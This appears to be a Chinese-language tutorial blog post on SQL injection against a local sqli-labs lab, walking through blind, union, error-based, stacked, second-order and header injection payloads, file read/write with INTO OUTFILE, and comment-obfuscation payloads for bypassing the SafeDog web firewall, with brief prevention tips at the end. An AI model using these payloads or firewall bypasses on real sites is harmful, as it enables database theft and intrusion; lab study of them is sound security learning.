SQL注入【学习】与【绕过安全狗】

免责声明

阅读前请先熟读《网络安全法》相关内容,以下知识点仅供学习使用,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,文章作者不承担任何责任。

了解SQL注入

SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。
SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤。SQL注入是针对数据库、后台、系统层面的攻击!

熟悉数据库

目前市面上使用MySql的数量还是比较多的,所以佩剑以MySql举例,所以先了解点MySQL有关的知识。在MySQL5.0之后添加了 information_schema 的数据库,该数据库中的表都是只读的,不能进程正删改查,实际上就是一个视图,不是基本的表结构。无法被删除。

DROP DATABASE information_schema
> 1044 - Access denied for user 'root'@'localhost' to database 'information_schema'

特别要注意的是数据库中的注释符,在后续的SQL注入过程中,绕过安全狗有特别重要的作用,需要灵活组合搭配

mysql中注释符:#   、/**/  、  -- 

information_schema数据库中三个很重要的表:

information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
information_schema.tables:该数据表存储了mysql数据库中的所有数据表的表名
information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名

SQL注入【学习】与【绕过安全狗】_第1张图片

Mysql常用函数

  1. version():查询数据库的版本
  2. user():查询数据库的使用者
  3. database():数据库
  4. system_user():系统用户名
  5. session_user():连接数据库的用户名
  6. current_user:当前用户名
  7. load_file():读取本地文件
  8. @@datadir:读取数据库路径
  9. @@basedir:mysql安装路径
  10. @@version_complie_os:查看操作系统
  11. ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
  12. length(str) : 返回给定字符串的长度,如 length("string")=6
  13. substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
  14. substr()、stbstring()、mid() 三个函数的用法、功能均一致
  15. concat(username):将查询到的username连在一起,默认用逗号分隔
  16. concat(str1,'',str2):将字符串str1和str2的数据查询到一起,中间用连接
  17. group_concat(username) :将username数据查询在一起,用逗号连接
  18. limit 0,1:查询第1个数,limit 1,1: 查询第2个数

以上是在SQL注入过程中经常用到的,如果还需要了解其他的函数可以自行百度

SQL注入的分类

注入点类型分类

  1. 数字类型
  2. 字符串类型
  3. 搜索型

    提交方式分类

  4. GET
  5. POST
  6. COOKIE
  7. HTTP头

    获取信息的方式分类

  8. 布尔盲注
  9. 时间盲注
  10. 报错注入
  11. 联合查询
  12. 堆查询注入

判断是否存在SQL注入

一个网站有特别多页面,怎么判断是否存在SQL注入。可以通过现成的工具例如:AWVS、AppScan、Nessus、SqlMap等。也可以在GitHub上子域名扫描器,把整个站所有子域名都扫描出来,然后再逐步扫描漏洞【扫描的网站一定要在得到许可后,才能扫描】。
但是有的时候工具不是万能的,工具只是大面积的扫描,有很多时候还是需要手动判断是否有SQL注入漏洞。下面以MySql 5.5版本为例,熟悉SQL注入流程,积累经验。

盲注:服务器没有错误回显时完成的注入攻击。服务器没有错误回显,无法判断是否成功注入
所以需要找到一个方面让服务器报错
  1. 先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
  2. 在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
  3. 有时候通过简单的条件语句比如 and 1=2 是无法看出异常,就需要时间盲注

    环境准备

    下面我们搭建sqli-labs靶机验证个个注入方法
    我把靶机安装在Centos7虚拟机上,安装的时候需要安装小皮【phpstudy】 官网教程已经非常详细就不赘述了。强调的一点就是sqli-labs用的php框架比较老,需要安装5.x版本的php,如果是默认的7.x版本启动会报错,安装5.5+mysql默认用户名密码即可
    修改sqli-labs配置文件
    SQL注入【学习】与【绕过安全狗】_第2张图片
    输入地址就能访问
    SQL注入【学习】与【绕过安全狗】_第3张图片
    点击Setup/reset Database for labs 链接自动靶场数据脚本插入到数据库中
    初学可以改造一下靶场的代码,让sql显示到页面上,能更好的理解sql输入的全过程。当然直接安装到本地会更好操作一下,看个人习惯
    SQL注入【学习】与【绕过安全狗】_第4张图片
    这样就可以使用了

    Boolean盲注【耗时】

    我们先以Less-5举例,首先代码改造一下,将SQL打在页面上,可以更方便我们理解
    SQL注入【学习】与【绕过安全狗】_第5张图片
    SQL注入【学习】与【绕过安全狗】_第6张图片
    我用的是火狐浏览器,可以在扩展里安装Max HackBar【免费】,在使用的过程中会很方便。
    当我们输入http://127.0.0.1/sqli/Less-5/...' 我们得到下面的页面
    SQL注入【学习】与【绕过安全狗】_第7张图片
    由此可以看出代码把 id 当成了字符来处理,而且后面还有一个限制显示的行数 limit 0,1 。当我们输入的语句正确时,就显示You are in.... 当我们输入的语句错误时就报出 SQL 语句错误。
    根据以上的信息我们可以猜出sql的大概写法

    $sql="SELECT * FROM 表 WHERE id='$id' LIMIT 0,1";    //sql查询语句
    $result=mysql_query($sql);

    所以可以通过一些构造语句猜想我们的判断,盲注一般用到的函数有substr() 、length(),exists()、concat()、ascii()等。

    1、判断数据库类型

    这个例子已经告诉我们数据类型,在不知道什么数据库的,需要通过exists()函数判断是什么数据库

    //判断是否是 Mysql数据库
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from information_schema.tables) #
     
    //判断是否是 access数据库
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from msysobjects) #
    
    //判断是否是 Sqlserver数据库
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from sysobjects) #

    看哪个不报错就能判断是什么数据库,后面的#号是注释掉后面的sql
    对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作。
    information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍:

  4. table_schema: 记录数据库名
  5. table_name: 记录数据表名
  6. table_rows: 关于表的粗略行估计
  7. data_length : 记录表的大小(单位字节)

    2、判断当前数据库名
    1:判断当前数据库的长度,利用二分法
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>5   //正常显示
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>10   //不显示任何数据
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>7   //正常显示
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>8   //不显示任何数据
     
    大于7正常显示,大于8不显示,所以可知当前数据库长度为 8
     
    2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
    //判断数据库的第一个字符
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),1,1))>100
    //判断数据库的第二个字符
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),2,1))>100
     
    ...........
    由此可以判断出当前数据库为 security
    3、判断当前数据库中的表
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from admin)   //猜测当前数据库中是否存在admin表
    1:判断当前数据库中表的个数
    // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
    http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
    2:判断每个表的长度
    //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
     
    //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
    3:判断每个表的每个字符的ascii值
    //判断第一个表的第一个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
     
    //判断第一个表的第二个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
    .........
    由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
    4、判断当前数据库中的表
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select username from admin)   //猜测是否存在username字段
    1:判断表中字段的个数
    //判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
    http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(column_name) from information_schema.columns where table_name='users')>5 #
    2:判断字段的长度
    //判断第一个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
     
    //判断第二个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
    3:判断字段的ascii值
    //判断第一个字段的第一个字符的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
     
    //判断第一个字段的第二个字符的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
    ...........
    由此可判断出users表中存在 id、username、password 字段
    5、判断字段中的数据
    上面方法已经知道users中有三个字段 id 、username 、password,现在爆出每个字段的数据
     
    1: 判断数据的长度
    // 判断id字段的第一个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 0,1))>5
     
    // 判断id字段的第二个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 1,1))>5
    2:判断数据的ascii值
    // 判断id字段的第一个数据的第一个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),1,1))>100
     
    // 判断id字段的第一个数据的第二个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),2,1))>100
    ...........

    union注入

    union联合查询适用于有显示列的注入,可以通过order by来判断当前表的列数
    我们用Less-2举例

    http://127.0.0.1/sqli/Less-2/?id=1 order by 4 #

    SQL注入【学习】与【绕过安全狗】_第8张图片
    SQL注入【学习】与【绕过安全狗】_第9张图片
    说明只有3个字段

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1 ,2 ,3 #

    SQL注入【学习】与【绕过安全狗】_第10张图片
    注意id要输入一个没有的参数,才能将union显示出来

    http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 union select 1 ,2 ,3 #

    也可以写成错误数据and 1=2
    这时候需要一些函数来帮我们查询重要信息

    version() :数据库的版本     
    database() :当前所在的数据库      
    user() :数据库的用户   
    current_user() : 当前用户名
    system_user() : 系统用户名     
    session_user() :连接到数据库的用户名
    @@basedir :  数据库的安装目录
    @@datadir :数据库文件的存放目录  

    SQL注入【学习】与【绕过安全狗】_第11张图片
    通过union注入获得更多的信息

    // 获得所有的数据库 
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(schema_name),3 from information_schema.schemata#
     
    // 获得所有的表
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(table_name),3 from information_schema.tables#
    // 获得所有的列
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(column_name),3 from information_schema.columns#
     
    #获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(password),3 from users #

    SQL注入【学习】与【绕过安全狗】_第12张图片
    通过下面的语句得到当前数据库的所有的表

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

    SQL注入【学习】与【绕过安全狗】_第13张图片
    通过下面的语句知道每一个表中的列

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

    SQL注入【学习】与【绕过安全狗】_第14张图片
    最后将users表中的所有数据都给爆出来了

    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(id,'**',username,'**',password),3 from users #

    image.png

当有显示列的时候,可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;

文件读写

union注入读取文件
http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,2,load_file("D:/1.txt")#
union写入文件
union注入写入一句话木马  into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1  union select 1,2,''  into outfile  'D:/1.php' #

报错注入

页面上没有显示位,但是需要输出 SQL 语句执行错误信息

ExtractValue报错注入
EXTRACTVALUE (XML_document, XPath_string)

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格式的字符串).

作用:从目标 XML 中返回包含所查询值的字符串
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-2/?id=-1  and extractvalue(1,concat(0x7e,database(),0x7e))#

SQL注入【学习】与【绕过安全狗】_第15张图片

UpdateXml报错注入

UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格式的字符串) 
第三个参数:new_value,String 格式,替换查找到的符合条件的数据

// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~

http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,database(),0x7e),1)#

SQL注入【学习】与【绕过安全狗】_第16张图片

时间盲注

Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。利用Benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功.

http://127.0.0.1/sqli/Less-1/?id=1 and sleep(5)#

REGEXP正则匹配

正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本

http://127.0.0.1/sqli/Less-1/?id=1 and  1=(select 1 from information_schema.tables where table_schema=security and table_name regexp ^[a-z] limit 0,1) #

SQL注入【学习】与【绕过安全狗】_第17张图片

堆叠注入

在SQL中,分号;是用来表示一条sql语句的结束,在 ; 结束后继续构造下一条语句继续执行就是迭代注入。【目前个人发现只有mysql好用】

Select * from user where name='root';DROP database user;

二次注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
以Less-24为例
新建一个账号
SQL注入【学习】与【绕过安全狗】_第18张图片
新建的用户名为:admin'# 密码为:123456
SQL注入【学习】与【绕过安全狗】_第19张图片
SQL注入【学习】与【绕过安全狗】_第20张图片
数据已经插入
SQL注入【学习】与【绕过安全狗】_第21张图片
登录修改密码
SQL注入【学习】与【绕过安全狗】_第22张图片
将admin密码修改了
SQL注入【学习】与【绕过安全狗】_第23张图片
为什么会这样呢?我们查看修改密码页面源代码,发现这里存在明显的SQL注入漏洞

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();

当我们提交用户名 admin'# 修改密码为 aaaaaa 的时候,这条SQL语句就变成了下面的语句了。#把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaa

$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin'#' and password='$curr_pass' ";

User-Agent注入

访问 http://127.0.0.1/sqli/Less-18/ 我们先抓包
SQL注入【学习】与【绕过安全狗】_第24张图片
修改其User-Agent为

and extractvalue(1,concat(0x7e,database(),0x7e))and 1=1  #

页面将当前的数据库显示出来了

绕过安全狗

环境准备

在安装安全狗之前,一定要先做好安装apache2.4这一项
安全狗配置
SQL注入【学习】与【绕过安全狗】_第25张图片
下载最新4.0 安全狗
SQL注入【学习】与【绕过安全狗】_第26张图片

1=1绕过

首先这里的话是尝试一个1=1
SQL注入【学习】与【绕过安全狗】_第27张图片
更换成true=true进行尝试 还是不行
尝试用/*/来充当注释符 依然不行
发现很多都可以充当空格来进行绕过,我们随意挑选一个进行尝试,构造payload如下

http://127.0.0.1/sqli/Less-2/?id=1 and/*////*/1 #

SQL注入【学习】与【绕过安全狗】_第28张图片

order by 绕过

http://127.0.0.1/sqli/Less-2/?id=1 order/*////*/by 3 --+

SQL注入【学习】与【绕过安全狗】_第29张图片

联合查询绕过

http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,3--+

SQL注入【学习】与【绕过安全狗】_第30张图片

各种注释绕过

http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,database/*///-*/()--+

SQL注入【学习】与【绕过安全狗】_第31张图片

SQL注入的预防

  • 可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
  • 使用正则表达式过滤
  • 待更新

你可能感兴趣的:(SQL注入【学习】与【绕过安全狗】)